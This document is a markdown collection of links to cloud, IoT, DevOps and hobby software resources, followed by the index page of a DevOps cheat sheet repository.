- [cloudsploit](https://github.com/cloudsploit). [security remediation guides](https://github.com/cloudsploit/security-remediation-guides)
- [Security Monkey](https://github.com/netflix/security_monkey): Security Monkey monitors AWS, GCP, OpenStack, and GitHub orgs for assets and their changes over time.
- [StreamAlert](https://github.com/airbnb/streamalert) - Serverless, Realtime Data Analysis Framework
- [ThreatResponse](https://threatresponse.cloud/): Open Source Incident Response Toolkit
- [Embarrassingly easy private certificate management for VMs on AWS, GCP, and Azure](https://smallstep.com/blog/embarrassingly-easy-certificates-on-aws-azure-gcp/)
- [Using Ansible to organize your SSH keys in AWS](https://fedoramagazine.org/using-ansible-to-organize-your-ssh-keys-in-aws/)
- [How to burn the most money with a single click in Azure](https://mijailovic.net/2020/03/28/azure-money-burning/)
- [Automating Deploys with Bash scripting and Google Cloud SDK](https://0xbanana.com/blog/automating-deploys-with-bash-scripting-and-google-cloud-sdk/)
- [One Click Forensics Lab in the Cloud](https://0xbanana.com/blog/one-click-forensics-lab-in-the-cloud/)
- [Terraform on GCP - DFIR Lab Hello World!](https://0xbanana.com/blog/terraform-on-gcp-dfir-lab-hello-world/)
- [Awesome Azure Learning](https://github.com/ddneves/awesome-azure-learning): This repo includes plenty of references for Azure learning, especially for the Azure certs and Azure architecture, and any other learning materials e.g. security and automation topics.
- [Awesome Cloud Native](https://github.com/rootsongjc/awesome-cloud-native): A curated list for awesome cloud native tools, software and tutorials.
- [Software for Open Networking in the Cloud - SONiC](https://github.com/Azure/sonic-mgmt): Configuration management examples for SONiC.
### AWS
- [Which AWS container service should I use?](https://twitter.com/forrestbrazeal/status/1400639759215640577/photo/1)
- [Whitepapers da AWS](https://aws.amazon.com/pt/whitepapers/)
- [CloudMapper](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments.
- [Prowler](https://github.com/toniblyx/prowler): AWS Security Best Practices Assessment, Auditing, Hardening and Forensics Readiness Tool. It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100). [AWS CIS](https://d0.awsstatic.com/whitepapers/compliance/AWS_CIS_Foundations_Benchmark.pdf)
- [ThreatPrep](https://github.com/ThreatResponse/ThreatPrep): Python module for evaluation of AWS account best practices around incident handling readieness.
- [Amazon Web Services](https://github.com/awslabs)
- [aws-security-benchmark](https://github.com/awslabs/aws-security-benchmark): Open source demos, concept and guidance related to the AWS CIS Foundation framework.
- [aws-security-automation](https://github.com/awslabs/aws-security-automation): Collection of scripts and resources for DevSecOps and Automated Incident Response Security.
- [finala](https://github.com/similarweb/finala): A resource cloud scanner that analyzes and reports about wasteful and unused resources to cut unwanted expenses.
- [open-guides/og-aws: 📙 Amazon Web Services — a practical guide](https://github.com/open-guides/og-aws)
- [Maintaining your AWS infrastructure](https://medium.com/faun/maintaining-your-aws-infrastructure-a4ae6ced8a74)
- [bottlerocket](https://github.com/bottlerocket-os/bottlerocket): An operating system designed for hosting containers
- [consoleme](https://github.com/Netflix/consoleme): ConsoleMe consolidates the management of multiple AWS accounts into a single interface. It allows your end-users and administrators to get credentials for your different accounts, and allows your users/administrators to manage or request cloud permissions.
- [AWS_IP_Prefix_Finder](https://github.com/mehetmet/AWS_IP_Prefix_Finder): This program was created with the intent to pull the current AWS IP-Ranges JSON file and return you a list of all of the IP Prefixes for a specific Region and service based on your input.
- [Awesome AWS](https://github.com/donnemartin/awesome-aws): A curated list of awesome Amazon Web Services (AWS) libraries, open source repos, guides, blogs, and other resources. Featuring the Fiery Meter of AWSome.
- [Awesome AWS Certifications](https://github.com/ptcodes/awesome-aws-certifications): A curated list of AWS certification materials: videos courses, practice exams, prep tips, etc.
- [AWS Service Catalog Reference Architecture](https://github.com/aws-samples/aws-service-catalog-reference-architectures): Sample CloudFormation templates and architecture for AWS Service Catalog.
- [AWS Toolbox](https://github.com/dannysteenman/aws-toolbox): A collection of useful Shell & Python scripts that make your life easier in AWS.
### Nextcloud
- [How to save LibreOffice documents to your Nextcloud server](https://www.techrepublic.com/article/how-to-save-libreoffice-documents-to-your-nextcloud-server/)
- [LibreOffice NextCloud WebDAV Configuration](https://hitman101.wordpress.com/2018/04/09/libreoffice-nextcloud-webdav-configuration/)
- [NextCloud on OpenBSD](https://h3artbl33d.nl/blog/nextcloud-on-openbsd)
- [Improved AppPasswords in Nextcloud 14](https://rullzer.com/2018/09/05/improved-apppasswords-in-nextcloud-14/): rullzers blog
- [Installing Integration Edition Document Server for Docker on a local server](https://helpcenter.onlyoffice.com/server/integration-edition/docker/docker-installation.aspx)
- [How to fix PHP 7 bash error to update Nextcloud on Synology?](https://hackabee.fr/2018/12/12/how-to-solve-php-7-bash-error-to-update-nextcloud-on-synology/)
- [Nextcloud With Cloudflare SSL Easy Install Bash script](https://github.com/bajpangosh/Nextcloud-With-Cloudflare-SSL-Easy-Install-script)
---
## IoT
- (pt-br) [A Internet das Coisas no Brasil](https://igarape.org.br/a-internet-das-coisas-no-brasil/) - Instituto Igarapé
- [jerryscript](https://github.com/jerryscript-project/jerryscript): Ultra-lightweight JavaScript engine for the Internet of Things.
- [UNDERCLOCKING THE ESP8266 LEADS TO WIFI WEIRDNESS](https://hackaday.com/2019/01/04/underclocking-the-esp8266-leads-to-wifi-weirdness/): Sometimes the best hacks come from the most basic of questions. In this case, [CNLohr] was wondering what would happen if he started to reduce the clock speed of the ESP8266’s Baseband PLL (BBPLL) while still trying to communicate with it.
- [Saleae](https://www.saleae.com/): Saleae builds the world’s most loved logic analyzers.
- [openedge](https://github.com/baidu/openedge): Extend cloud computing, data and service seamlessly to edge devices.
- [OpenChirp](https://openchirp.io/): An Open Source Platform for IoT with support for LoRaWAN
- [FindChips](https://www.findchips.com/): Get instant insight into any electronic component
Access price, inventory, unique market intelligence and advanced analytics for all your parts.
- Fedora's [InternetOfThings](https://fedoraproject.org/wiki/InternetOfThings)
- [Connected camera cock up](https://www.pentestpartners.com/security-blog/connected-camera-cock-up/)
- [Binary Hardening in IoT products](https://cyber-itl.org/2019/08/26/iot-data-writeup.html): Last year, the team at CITL looked into the state of binary hardening features in IoT firmware.
- Introducing Rainbow: [Donjon’s side-channel analysis simulation tool](https://medium.com/ledger-on-security-and-blockchain/)introducing-rainbow-donjons-side-channel-analysis-simulation-tool-2f23fa1f11b3). repo: [rainbow](https://github.com/Ledger-Donjon/rainbow)
- [Memfault](https://memfault.com/): is the collaboration of engineers who share decades of experience working at leading hardware companies including Oculus, Fitbit, and Pebble.
- [Espressif IDF Eclipse Plugins](https://github.com/espressif/idf-eclipse-plugin): Eclipse plugin for ESP-IDF CMake based projects (4.x and above)
- [Getting a MicroPython REPL prompt](https://docs.micropython.org/en/latest/esp8266/tutorial/repl.html)
- [ampy](https://learn.adafruit.com/micropython-basics-load-files-and-run-code/install-ampy)
- [micropython-coffee](https://github.com/andrequeiroz2/micropython-coffee)
- [Disque](https://github.com/antirez/disque) is a distributed message broker
- [TDengine](https://tdengine.com/). [repo](https://github.com/taosdata/TDengine)
- [Raspberry pi firmwares- developing with this lk overlay](https://github.com/librerpi/lk-overlay)
### Pub/Sub
- MQTT:
- [Apache Pulsar](https://pulsar.apache.org/) is an open-source distributed pub-sub messaging system originally created at Yahoo and now part of the Apache Software Foundation. [pulsar](https://github.com/apache/pulsar) [pulsar-manager](https://github.com/apache/pulsar-manager).
- [Introduction to MQTT](https://blog.teserakt.io/2018/11/01/introduction-to-mqtt/)
- [VerneMQ](https://github.com/vernemq/vernemq): A Distributed MQTT Broker
- [EMQ X Broker](https://github.com/emqx/emqx) - Scalable Distributed MQTT Message Broker for IoT in 5G Era. [site](https://emqx.io)
- Cloud Pub/Sub: [Ordering messages](https://cloud.google.com/pubsub/docs/ordering)
- [RPi Reporter MQTT2HA Daemon](https://github.com/ironsheep/RPi-Reporter-MQTT2HA-Daemon)
### RFID
- [RFIDler](http://adamsblog.aperturelabs.com/2013/08/rfidler-open-source-software-defined.html?m=0) - An open source Software Defined RFID Reader/Writer/Emulator. [github](https://github.com/ApertureLabsLtd/RFIDler)
---
## Fun
- [VIM Clutch](https://github.com/alevchuk/vim-clutch) is a hardware pedal for improved text editing speed for users of the magnificent VIM text editor
- [wtf](https://github.com/senorprogrammer/wtf): The personal information dashboard for your terminal.
- [lolcat](https://github.com/jaseg/lolcat): High-performance implementation of lolcat
- (pt-br) [ligar-cobranca](https://github.com/GtOkAi/ligar-cobranca): Ligue automaticamente para empresas de cobrança e deixe uma voz falando "Alô?" sem parar.
- [Trump2Ca$h](https://github.com/maxbbraun/trump2cash): A stock trading bot powered by Trump tweets
- [paint 16b](http://www.sizecoding.org/wiki/Paint16b): was created by Hellmood and is 16 bytes in size. paint16b implements a mouse-driven drawing program which has the ability to exit back to DOS and also display the mouse cursor, [screenshot](http://www.pouet.net/prod.php?which=63826).
- [Boss as a Service](https://bossasaservice.life/): Hire a boss, get stuff done
- [Craft Crown SDK](https://github.com/Logitech/logi_craft_sdk): Provide (API) SDK specifications to map your app functions to Logitech Craft dial controller called "Crown".
- [Check out these projects featuring your favorite Cartoon Network characters and start making!](http://www.createwithcn.com/). [Cartoon Network + Ada Fruit](https://makecode.adafruit.com/projects/cartoon-network)
- [fx_cast](https://hensm.github.io/fx_cast/): chromecast for firefox. Enables Chromecast support for casting web apps (like Netflix or BBC iPlayer), HTML5 video and screen/tab sharing. [github](https://github.com/hensm/fx_cast)
- [srsLTE](https://github.com/srsLTE/srsLTE): Open source SDR LTE software suite from Software Radio Systems (SRS)
- [The LibreCellular project](https://librecellular.org/) aims to make it easier to create 4G cellular networks with open source software and low cost software-defined radio (SDR) hardware.
- [List of software-defined radios](https://en.wikipedia.org/wiki/List_of_software-defined_radios)
- [IP over Avian Carriers](https://en.wikipedia.org/wiki/IP_over_Avian_Carriers)
- [MrPiracy](https://mrpiracy.site/)
- [tvlist](https://github.com/damianrath/tvlist): Lists TV shows and their current state by leveraging the TV Maze API (CLI)
- [serverless-to-cgi-bin](https://github.com/ghuntley/serverless-to-cgi-bin): A browser extension that replaces occurrences of 'serverless' with 'cgi-bin'
- [X-Ray Tech Lays Chip Secrets Bare](https://spectrum.ieee.org/nanoclast/semiconductors/design/xray-tech-lays-chip-secrets-bare): Researchers in Switzerland and the U.S. have a non-destructive technique that can reverse engineer an entire chip without damaging it.
- [xkcdfs](https://github.com/danieldulaney/xkcdfs): A FUSE Filesystem for xkcd.
- Voyager [Mission Status](https://voyager.jpl.nasa.gov/mission/status/)
- [So Doom (1993) has a neat bit of encryption in it. It's not very strong encryption, but it's still encryption.](https://twitter.com/Foone/status/1189249817492557826). [DOOM Source Code](https://github.com/id-Software/DOOM)
- [Fake windows Update](http://fakeupdate.net/win10u/)
- [Which sudo users to insult - sudo configuration basics](https://blog.sudo.ws/posts/2019/11/which-sudo-users-to-insult-sudo-configuration-basics/)
- [Jellyfin](https://jellyfin.org/): The Free Software Media System. [repo](https://github.com/jellyfin/jellyfin)
- WTF?!?!?! - [nhentai-favorites-auto-pagination: This is an infinity randomly picker doujinshi from yours favorite list with auto scroll and pagination](https://github.com/nicweeaboo/nhentai-favorites-auto-pagination)
- [cxxmatrix](https://github.com/akinomyoga/cxxmatrix): I wrote a simple terminal program of Matrix digital rain. A part of the purpose of this program is to test the performance of terminal emulators. Another purpose is just for fun. Enjoy it with fast terminals (e.g., urxvt, alacritty, terminology, etc.)!
- [Use Unix Pipes to Improve Chromecast Playback](https://alexdelorenzo.dev/linux/2020/03/14/pipes)
- [Snake in a QR code](https://itsmattkc.com/etc/snakeqr/)
- [telegram-delete-all-messages](https://github.com/gurland/telegram-delete-all-messages): Delete all your messages in supergroups with python script.
- [The Web 2.0 Bullshit Generator™](http://emptybottle.org/bullshit/index.php)(is still in Beta!)
- [Posters, drawings...](https://github.com/corkami/pics)
- [discord-logo](https://github.com/NNTin/discord-logo)
- [Minecraft as a k8s admin tool](https://medium.com/@eric.jadi/minecraft-as-a-k8s-admin-tool-cf16f890de42) [KubeCraftAdmin](https://github.com/erjadi/kubecraftadmin)
- [Zulu and UTC: the story behind aviation’s time zone](https://www.flightradar24.com/blog/zulu-and-utc-the-story-behind-aviations-time-zone/)
- [Booting from a vinyl record.](http://boginjr.com/it/sw/dev/vinyl-boot/). ([boot from parallel port?](https://github.com/climatex/BootLPT))
- [The /bin/true Command and Copyright](http://trillian.mit.edu/~jc/humor/ATT_Copyright_true.html)
- [The Secret DIY Apple 5K Display // USBC & HDMI](https://www.reddit.com/r/hackintosh/comments/hrlf8x/the_secret_diy_apple_5k_display_usbc_hdmi/)
- [vim_cubed](https://github.com/oakes/vim_cubed): Vim rendered on a cube for no reason.
- [Awesome Self-Reference](https://github.com/aztek/awesome-self-reference): A curated list of examples of self-reference in art, science, and technology.
## Stuff
- [Faces of Open Source](http://www.facesofopensource.com/) is an on-going photographic documentation of the people behind the development and advancement of the open source revolution that has transformed the technology industry.
- [The Free Stack](http://p.agnihotry.com/post/the_free_stack_aws/): Running your application for free on AWS
- [The unreasonable effectiveness of Soccermatics?](https://www.interaliamag.org/articles/david-sumpter-unreasonable-effectiveness-soccermatics/)
- [Productive Procrastination](https://nickwignall.com/productive-procrastination/): How to Get More Done by Procrastinating on Purpose
- [olive](https://github.com/olive-editor/olive/): Professional open-source NLE video editor
- [kdenlive](https://github.com/KDE/kdenlive): Free and open source video editor, based on MLT Framework and KDE Frameworks 5
- [10 tools for visual effects in Linux with Kdenlive](https://opensource.com/life/15/12/10-kdenlive-tools)
- [Kdenlive/Manual/Project Menu/Online Resources](https://userbase.kde.org/Kdenlive/Manual/Project_Menu/Online_Resources)
- [Kdenlive/Manual/Effects/Blur and hide/Auto Mask](https://userbase.kde.org/Kdenlive/Manual/Effects/Blur_and_hide/Auto_Mask)
- [QDirStat](https://github.com/shundhammer/qdirstat): Qt-based directory statistics (KDirStat without any KDE - from the original KDirStat author)
- [Ask HN: What should a systems/low-level software engineer know?](https://news.ycombinator.com/item?id=18881649)
- [German for Programmers](https://wickedchicken.github.io/post/german-for-programmers/)
- [Seeking the Productive Life](https://blog.stephenwolfram.com/2019/02/seeking-the-productive-life-some-details-of-my-personal-infrastructure/): Some Details of My Personal Infrastructure
- [Como contribuir com projetos de código aberto sem precisar entender de programação](https://medium.com/@talitapagani/como-contribuir-com-projetos-de-c%C3%B3digo-aberto-sem-precisar-entender-de-programa%C3%A7%C3%A3o-318f94c6e2d3)
- [The DevOps Phenomenon](https://queue.acm.org/detail.cfm?id=3338532)
- (pt-br) [Como contribuir com projetos de código aberto sem precisar entender de programação](https://medium.com/@talitapagani/como-contribuir-com-projetos-de-c%C3%B3digo-aberto-sem-precisar-entender-de-programa%C3%A7%C3%A3o-318f94c6e2d3)
- [Personal Management System](https://github.com/Volmarg/personal-management-system): Your web application for managing personal data.
- [The boring technology behind a one-person Internet company](https://broadcast.listennotes.com/the-boring-technology-behind-listen-notes-56697c2e347b)
- The [Open Observatory of Network Interference](https://ooni.io) (OONI) is a free software project under The Tor Project which aims to empower decentralized efforts in increasing transparency of internet censorship around the world.
- [The secret life of open source developers](https://media.ccc.de/v/bucharest-322-the-secret-life-of-open-source-developers)
- [Why we moved our servers to Iceland](https://blog.simpleanalytics.com/why-we-moved-our-servers-to-iceland)
- [What nobody tells you about documentation](https://www.divio.com/blog/documentation/)
- [The 100:10:1 method: my approach to open source](http://blog.fogus.me/2015/11/04/the-100101-method-my-approach-to-open-source/)
- [Cartola](https://cartola.org/): a lot of free software related resourses.
- [Is there a way to see the remaining battery life of your keyboard/mouse on Ubuntu/Linux?](https://unix.stackexchange.com/questions/465084/is-there-a-way-to-see-the-remaining-battery-life-of-your-keyboard-mouse-on-ubunt): *upower --dump*
- [Convert any .pdf file 📚 into an audio 🔈 book with Python](https://dev.to/mustafaanaskh99/convert-any-pdf-file-into-an-audio-book-with-python-1gk4)
- [Sigil](https://github.com/Sigil-Ebook/Sigil): is a multi-platform EPUB ebook editor.
- [Ham radio is dying! No it’s not, it’s evolving](http://k0lwc.com/ham-radio-is-dying-no-its-not-its-evolving/)
- [Safety Sign Generator](https://observatory.db.erau.edu/generators/signs/) and [Lab Door Safety Sign Generator](https://observatory.db.erau.edu/generators/doorsigns/) by Damon
- [Twitch Line Highlighter VS Code Extension](https://github.com/clarkio/vscode-twitch-highlighter): This is a VS Code extension that will allow your Twitch chat to highlight a line of code via a command message. Example: `!line 8 server.js`. See master branch README.md for more details
- [Safety Sign Generator](https://observatory.db.erau.edu/generators/signs/) and [Lab Door Safety Sign Generator](https://observatory.db.erau.edu/generators/doorsigns/) by Damon
- [Awesome Made by Brazilians](https://github.com/felipefialho/awesome-made-by-brazilians)
- [Pi-KVM](https://pikvm.org/): Open and cheap DIY IP-KVM on Raspberry Pi
- [Helios server](https://github.com/benadida/helios-server): Helios is an end-to-end verifiable voting system.
- [zeus](https://github.com/grnet/zeus): Zeus server, This is a fork of Ben Adida's Helios server
- [System76 Launch Configurable Keyboard](https://github.com/system76/launch)
- [lalboard](https://github.com/JesusFreke/lalboard): A 3D-printed keyboard inspired by the DataHand.
- [Software disenchantment](https://tonsky.me/blog/disenchantment/)
- [Bob Cassette Rewinder](https://github.com/dekuNukem/bob_cassette_rewinder): Defeating Dishwasher Detergents DRM, Renew and Refill Bob Cassettes for 98% cost saving!
- [Start Your Own ISP](https://startyourownisp.com/): This site is dedicated to helping you start your own Internet Service Provider. Specifically this guide is about building a Wireless ISP (WISP).
- [Como remover o ruído do seu microfone em chamadas no Linux](https://diolinux.com.br/sistemas-operacionais/remover-ruido-do-microfone-no-linux.html)
- [Rescue sheets](http://rescuesheet.info/index.html): a standardised A4 "rescue sheet" including information on the location of cabin reinforcements, tank, the battery, airbags, gas generators, control units etc. - and indicating adequate cutting points must be used to save lives in car accidents.
- [Ninja Tool Collection](https://www.youtube.com/watch?v=G_Q9MW032ks)
## News
- [GitNews](https://git.news/)
- [Systemd's DynamicUser feature is (currently) dangerous](https://utcc.utoronto.ca/~cks/space/blog/linux/SystemdDynamicUserDangerous)
- [Open Source is Not About You](https://gist.github.com/richhickey/1563cddea1002958f96e7ba9519972d9)
- [600 days of postmarketOS](https://postmarketos.org/blog/2019/01/16/600-days-of-postmarketOS/)
- [Physicists reverse time using quantum computer](https://phys.org/news/2019-03-physicists-reverse-quantum.html)
- [AN EXCLUSIVE LOOK AT AN ORIGINAL IPHONE PROTOTYPE](https://www.theverge.com/2019/3/19/18263844/apple-iphone-prototype-m68-original-development-board-red)
- [Open Source Doesn’t Make Money Because It Isn’t Designed To Make Money](http://www.ianbicking.org/blog/2019/03/open-source-doesnt-make-money-by-design.html)
- [STORING UTC IS NOT A SILVER BULLET](https://codeblog.jonskeet.uk/2019/03/27/storing-utc-is-not-a-silver-bullet/)
- [Patent exhaustion and open source](https://lwn.net/Articles/780078/)
- [Adventures of putting 16 GB of RAM in a motherboard that doesn’t support it](https://www.downtowndougbrown.com/2019/04/adventures-of-putting-16-gb-of-ram-in-a-motherboard-that-doesnt-support-it/)
- [Upgrade Arbitrage](https://tedium.co/2019/06/04/used-workstation-computer-buying-strategy/): The charm of buying old workstation hardware on the cheap to support your modern computing needs. If it doesn’t work for them, it might just work for you.
- [Sorry, we can't join your Slack](https://www.reifyworks.com/writing/2019-09-03-sorry-we-cant-join-your-slack)
- [A New Linux Memory Controller Promises to Save Lots of RAM](https://thenewstack.io/a-new-linux-memory-controller-promises-to-save-lots-of-ram/)
- [Back from the Blender Conference 2019](https://valdyas.org/fading/hacking/krita-hacking/back-from-the-blender-conference-2019/)
- [The Magical Science of Wi-Fi on Airplanes](https://onezero.medium.com/what-makes-it-possible-to-browse-the-internet-at-35-000-feet-1afaea83eb5), and [Infographic: How far does your Gogo 2Ku data travel?](https://concourse.gogoair.com/infographic-far-gogo-2ku-data-travel/)
- [Hacker News RSS](https://edavis.github.io/hnrss/)
- [HN Deck](https://hndeck.sagunshrestha.com/): An alternate way to browse Hacker News. [code](https://github.com/sagunsh/hndeck)
- [Introducing the Red Hat Flatpak runtime for desktop containers](https://developers.redhat.com/blog/2020/08/12/introducing-the-red-hat-flatpak-runtime-for-desktop-containers/)
- [O² OR OXYGEN ALL OVER AGAIN, AKA OXYGEN REBOOT, MAYBE O SQUARED?](https://pinheiro-kde.blogspot.com/2020/09/o-or-oxygen-all-over-again-aka-oxygen.html)
- [Too Big to Care](https://clo.ng/blog/too-big-to-care/)
- [Introducing the Framework Laptop](https://frame.work/blog/introducing-the-framework-laptop)
- [donnemartin/haxor-news: Browse Hacker News like a haxor: A Hacker News command line interface (CLI).](https://github.com/donnemartin/haxor-news)
- [OpenSearch: AWS rolls out its open source Elasticsearch fork](https://www.techrepublic.com/article/opensearch-aws-rolls-out-its-open-source-elasticsearch-fork/)
- [Apple is a true business innovator: For more than a decade, they have been steadily perfecting an obscure anticompetitive tactic, turning a petty grift invented by console games companies into a global, cross-industry mechanism for extracting rents and centralizing control.](https://twitter.com/doctorow/status/1388934048072953857)
- [Liquid Cooling Next-Gen Servers Getting Hands-on with 3 Options](https://www.servethehome.com/liquid-cooling-next-gen-servers-getting-hands-on-3-options-supermicro/5/)
- [New 5D Storage to Offer 10,000x the Density of Blu-Ray](https://www.tomshardware.com/news/5d-storage-optical-data-cube)
## Making Conferences
- [python-organizers](https://github.com/python-organizers/resources): Share docs, tools, lists and whatnot for organizing a Python conference
- [indico](https://getindico.io/): The effortless open-source tool for event organisation, archival and collaboration
- [Tune up your sound with PulseEffects: Microphones](https://fedoramagazine.org/tune-up-your-sound-with-pulseeffects-microphones/)
- [Skittish](https://skittish.com): A playful space for online events.
- [How we hosted FOSDEM 2021 on Matrix](https://matrix.org/blog/2021/02/15/how-we-hosted-fosdem-2021-on-matrix)
- [The Future of USENIX: A Report from the Annual Membership Meeting](https://www.usenix.org/blog/future-usenix-report-annual-membership-meeting)
- [WORKADVENTURE](https://workadventu.re/). [repo](https://github.com/thecodingmachine/workadventure)
- [Loudness Normalization and Compression of Podcasts and Speech Audio](http://auphonic.com/blog/2011/07/25/loudness-normalization-and-compression-podcasts-and-speech-audio/)
- [DevFestAvatar](https://github.com/fzany/DevFestAvatar): Repo for DevFest Avatar creation.
## Articles
- [Serverless Computing: One Step Forward, Two Steps Back](https://arxiv.org/abs/1812.03651)
- [Network stack specialization for performance](https://dl.acm.org/doi/10.1145/2740070.2626311)
## Bots
- [The Money Maker Machine](https://github.com/khstangherlin/monker)
|
# DevOps Cheat Sheet Collection
Markdown sources for all the cheat sheets found at https://lzone.de/
- If you find this helpful consider giving a :star:
- If you miss a topic suggest it by opening an issue!
## Install in Devhelp
Using the [devhelp cheat sheet installer](https://github.com/lwindolf/devhelp-cheat-sheet-installer) you can
easily download all cheat sheets from this repo (and others) for offline searching with GNOME devhelp.
<!-- marker -->
## Cheat-Sheet Index
<br/><span class='group'><b>Automation</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/Ansible'>Ansible</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Automation'>Automation</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Chef'>Chef</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/IT-Ops'>IT-Ops</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Jinja'>Jinja</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Mcollective'>Mcollective</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Monitoring'>Monitoring</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Puppet - Hiera'>Puppet - Hiera</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Puppet'>Puppet</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/SaltStack'>SaltStack</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Swagger'>Swagger</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Terraform'>Terraform</a>
<br/><span class='group'><b>CICD</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/ArgoCD'>ArgoCD</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/CICD'>CICD</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Gerrit'>Gerrit</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Git'>Git</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Github'>Github</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Gradle'>Gradle</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/JFrog CLI'>JFrog CLI</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Jenkins Docs'>Jenkins Docs</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Jenkins Pipeline DSL'>Jenkins Pipeline DSL</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Jenkins'>Jenkins</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/JenkinsX'>JenkinsX</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Maven'>Maven</a>
<br/><span class='group'><b>Cloud</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/ARM'>ARM</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/AWS Lamba'>AWS Lamba</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/AWS'>AWS</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Azure Devops'>Azure Devops</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Azure'>Azure</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Cloud'>Cloud</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/KVM'>KVM</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/LXC'>LXC</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/OpenNebula'>OpenNebula</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/OpenVZ'>OpenVZ</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/S3'>S3</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/VM Tuning'>VM Tuning</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Vagrant'>Vagrant</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/VirtualBox'>VirtualBox</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Xen'>Xen</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/packer'>packer</a>
<br/><span class='group'><b>Container</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/Buildah'>Buildah</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Container Orchestration'>Container Orchestration</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Container'>Container</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Docker Compose'>Docker Compose</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Docker Swarm'>Docker Swarm</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Docker'>Docker</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Dockerfile'>Dockerfile</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Podman'>Podman</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/runc'>runc</a>
<br/><span class='group'><b>DevOps Linux</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/Architecture'>Architecture</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/DBUS'>DBUS</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/DKMS'>DKMS</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/DRBD'>DRBD</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/DXVK'>DXVK</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Debugging'>Debugging</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/DevOps Linux'>DevOps Linux</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Filesystem'>Filesystem</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/GPG'>GPG</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Grub'>Grub</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/IPMI'>IPMI</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Kernel Tracing'>Kernel Tracing</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/LVM'>LVM</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Linux-Commands'>Linux-Commands</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Linux-HA'>Linux-HA</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Linux-Sysadmin'>Linux-Sysadmin</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Linux-Virtualization'>Linux-Virtualization</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/PKI'>PKI</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Partitioning'>Partitioning</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Printing'>Printing</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/RAID'>RAID</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Solaris'>Solaris</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/X11'>X11</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/auditd'>auditd</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/cgroups'>cgroups</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/kerberos'>kerberos</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/mokutil'>mokutil</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/nohup'>nohup</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/perf'>perf</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/screen'>screen</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/socat'>socat</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/sops'>sops</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/strace'>strace</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/sudo'>sudo</a>
